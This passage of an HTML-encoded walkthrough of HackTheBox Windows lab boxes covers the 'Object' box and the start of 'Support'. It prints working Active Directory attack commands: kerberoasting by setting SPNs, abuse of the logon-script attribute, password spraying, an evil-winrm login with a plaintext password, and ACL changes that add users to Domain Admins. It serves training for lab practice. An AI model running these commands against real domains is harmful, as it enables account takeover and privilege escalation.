class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Set-DomainObject -Identity maria -SET @{serviceprincipalname=&amp;#39;nonexistent/BLAHBLAH&amp;#39;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-DomainSPNTicket maria | fl&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0693.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Another error. It said it could not validate the argument on the SPN parameter, which was strange. I entered it again and removed &lt;code&gt;|fl&lt;/code&gt; as well.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Set-DomainObject -Identity maria -SET @{serviceprincipalname=&amp;#39;nonexistent/BLAHBLAH11&amp;#39;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-DomainSPNTicket maria&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0694.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This time I got a result and successfully created an SPN for &lt;code&gt;maria&lt;/code&gt;. From here, it was back to familiar territory: when an account has an SPN, I can request its TGS and crack it.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/uknowsec/Active-Directory-Pentest-Notes/blob/master/Notes/%E5%9F%9F%E6%B8%97%E9%80%8F-SPN.md" target="_blank" rel="noopener"&#10; &gt;https://github.com/uknowsec/Active-Directory-Pentest-Notes/blob/master/Notes/%E5%9F%9F%E6%B8%97%E9%80%8F-SPN.md&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;My previous work had mostly been remote pentesting. This post explained how to exploit it from inside the domain.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1" target="_blank" rel="noopener"&#10; &gt;https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1&lt;/a&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;. .\Invoke-Kerberoast.ps1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-kerberoast -outputformat hashcat |fl&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;At the same time, I also tried &lt;code&gt;Rubeus.exe&lt;/code&gt;.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.\Rubeus.exe kerberoast&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0695.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0696.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Both returned nothing. Could I really not obtain a TGS even after setting an SPN? I could not understand why. I went back to the write-up. Only one of them was genuinely good: its reasoning was clear and there was a lot to learn from it. It pointed out that if an arbitrarily assigned SPN is not accepted, the SPN needs to have a valid format.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://learn.microsoft.com/en-us/windows/win32/ad/name-formats-for-unique-spns" target="_blank" rel="noopener"&#10; &gt;https://learn.microsoft.com/en-us/windows/win32/ad/name-formats-for-unique-spns&lt;/a&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;setspn -a MSSQLSvc/object.local:1433 object.local\maria&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0697.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I still could not obtain it, even though I was already &lt;code&gt;smith&lt;/code&gt;. The next hint explained that, despite being logged in as &lt;code&gt;smith&lt;/code&gt;, I still had to pass credentials here or access would fail. The credentials I had not needed earlier finally came into play.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$SecPassword = ConvertTo-SecureString &amp;#39;Password123!&amp;#39; -AsPlainText -Force&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$Cred = New-Object System.Management.Automation.PSCredential(&amp;#39;object.htb\smith&amp;#39;, $SecPassword)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-DomainSPNTicket -SPN &amp;#34;MSSQLSvc/object.local:1433&amp;#34; -Credential $Cred&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0698.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Success. However, the next hint said this password could not be cracked even with &lt;code&gt;rockyou&lt;/code&gt;, so I left it alone. At least I learned a new method and will be able to react much faster the next time I encounter this situation. Starting the research from scratch in the middle of an engagement would be far too slow.&lt;/p&gt;&#10;&lt;p&gt;GenericWrite can also be used to change the target&amp;rsquo;s password. It did not work here, but I am recording it anyway.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$newpass = ConvertTo-SecureString &amp;#39;Password123!&amp;#39; -AsPlainText -Force&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Set-DomainUserPassword -Identity maria -AccountPassword $newpass&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Next came the hardest part, and the part where I did not quite understand why the box was designed this way. Without reading the write-up, I never would have thought of it. Whoever solved this first was incredible.&lt;/p&gt;&#10;&lt;p&gt;&lt;code&gt;maria&lt;/code&gt; had an automatic logon script and apparently kept logging in, logging out, and logging back in. That meant I could assign her a logon script, which would execute every time she logged in. This is not unique to GenericWrite, either. Modifying a user&amp;rsquo;s &lt;code&gt;scriptpath&lt;/code&gt; attribute requires any one of the following permissions:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GenericWrite&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GenericAll&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;WriteDacl&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;WriteOwner&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;WriteProperty&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;In other words, whenever I encounter one of these permissions in the future, I can try writing a logon script. That was another new technique learned. In a future environment, for example, I could write a reverse-shell script, and it would immediately call back as soon as the user logged in. That would not work here, of course, because all outbound traffic was down.&lt;/p&gt;&#10;&lt;p&gt;Instead, I could build a script that listed the home directory and wrote the output to a directory accessible by both the current user, &lt;code&gt;smith&lt;/code&gt;, and &lt;code&gt;maria&lt;/code&gt;.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo &amp;#34;ls \users\maria\ &amp;gt; \programdata\out&amp;#34; &amp;gt; C:\\programdata\\cmd.ps1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Set-DomainObject -Identity maria -SET @{scriptpath=&amp;#34;C:\\programdata\\cmd.ps1&amp;#34;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0699.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;While browsing the directories, I found &lt;code&gt;Engines.xls&lt;/code&gt;.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo &amp;#34;copy \users\maria\desktop\Engines.xls \programdata\&amp;#34; &amp;gt; cmd.ps1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;download Engines.xls&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0700.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It contained several passwords. I could simply try them one by one.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;crackmapexec winrm object.htb -u maria -p password.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0701.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;evil-winrm -i 10.10.11.132 -u maria -p &amp;#39;W3llcr4ft3d_4cls&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0702.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I imported &lt;code&gt;PowerView.ps1&lt;/code&gt;, made &lt;code&gt;maria&lt;/code&gt; the owner of Domain Admins, and then added her to the group.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;. .\PowerView.ps1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Both commands below work&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Set-DomainObjectOwner -Identity &amp;#39;Domain Admins&amp;#39; -OwnerIdentity &amp;#39;maria&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Add-DomainObjectAcl -TargetIdentity &amp;#34;Domain Admins&amp;#34; -PrincipalIdentity maria -Rights All&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Add-DomainGroupMember -Identity &amp;#39;Domain Admins&amp;#39; -Members &amp;#39;maria&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;After changing the ACL, I had to log in again for it to take effect.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0703.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done.&lt;/p&gt;&#10;&lt;p&gt;This box was incredibly difficult. I still wanted to verify one thing: as &lt;code&gt;smith&lt;/code&gt;, I could assign a logon script to &lt;code&gt;maria&lt;/code&gt;. I already knew &lt;code&gt;maria&lt;/code&gt; could add herself to Domain Admins and then grant someone else administrator privileges. If I put that entire chain into the logon script, would that mean I did not need to know &lt;code&gt;maria&lt;/code&gt;&amp;rsquo;s password at all?&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo &amp;#39;. C:\programdata\PowerView.ps1; Add-DomainObjectAcl -TargetIdentity &amp;#34;Domain Admins&amp;#34; -PrincipalIdentity maria -Rights All; Add-DomainGroupMember -Identity &amp;#34;Domain Admins&amp;#34; -Members &amp;#34;smith&amp;#34;&amp;#39; &amp;gt; C:\programdata\cmd.ps1&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0704.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It worked perfectly. Maybe the original author intended this route too, but then realized it would be far too difficult because there was no certainty that each command would execute successfully.&lt;/p&gt;&#10;&lt;h2 id="22support"&gt;&lt;a href="#22support" class="header-anchor"&gt;&lt;/a&gt;22.Support&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0705.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0706.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was no web service, so I started with SMB, then moved on to RPC and LDAP.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0707.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Anonymous access was enabled. After connecting, I found several files and searched for them one by one. It looked like a software repository. The main point was that if the software existed online, it probably would not be useful; if it was custom-made, though, it could be valuable.&lt;/p&gt;&#10;&lt;p&gt;UserInfo.exe.zip was the only one I could not find online. Everything else was a tool that could be used offensively.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0708.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I started another VM. I could have run it directly on my physical machine, but there was far too much traffic when I captured packets there, and it was a mess. So I decided to capture it inside the VM and see what the program actually did.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0709.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Got it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0710.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It requested a domain over LDAP, so I added the domain to my hosts file.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0711.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;You can see that it sent the request and resolved the internal IP, but it got stuck because the address was unreachable.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0712.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It still failed. In Wireshark, I could see my VM constantly sending requests to the Wi-Fi gateway while also trying the VPN address, but for some reason the packets were not getting through.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0713.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0714.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;For some reason, following the stream produced nothing.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0715.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It was unreachable. I later discovered that switching VPNs had caused the problem; reconnecting the VPN fixed it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0716.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PS C:\Users\peter\Desktop\UserInfo.exe&amp;gt; .\UserInfo.exe find -first *&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;raven.clifton&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;anderson.damian&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;monroe.david&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cromwell.gerard&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;west.laura&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;levine.leopoldo&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;langley.lucy&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;daughtler.mabel&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;bardot.mary&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;stoll.rachelle&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;thomas.raphael&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;smith.rosario&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;wilson.shelby&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;hernandez.stanley&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ford.victoria&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;That gave me a pile of usernames. I still was not entirely sure how it obtained them. I had only seen an LDAP request earlier, so they were probably returned by an LDAP query. Everything after that was encrypted by the VPN, and I could not decrypt it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0717.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0718.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I passed one of the usernames I had found to the user parameter and finally got a response.&lt;/p&gt;&#10;&lt;p&gt;&lt;img 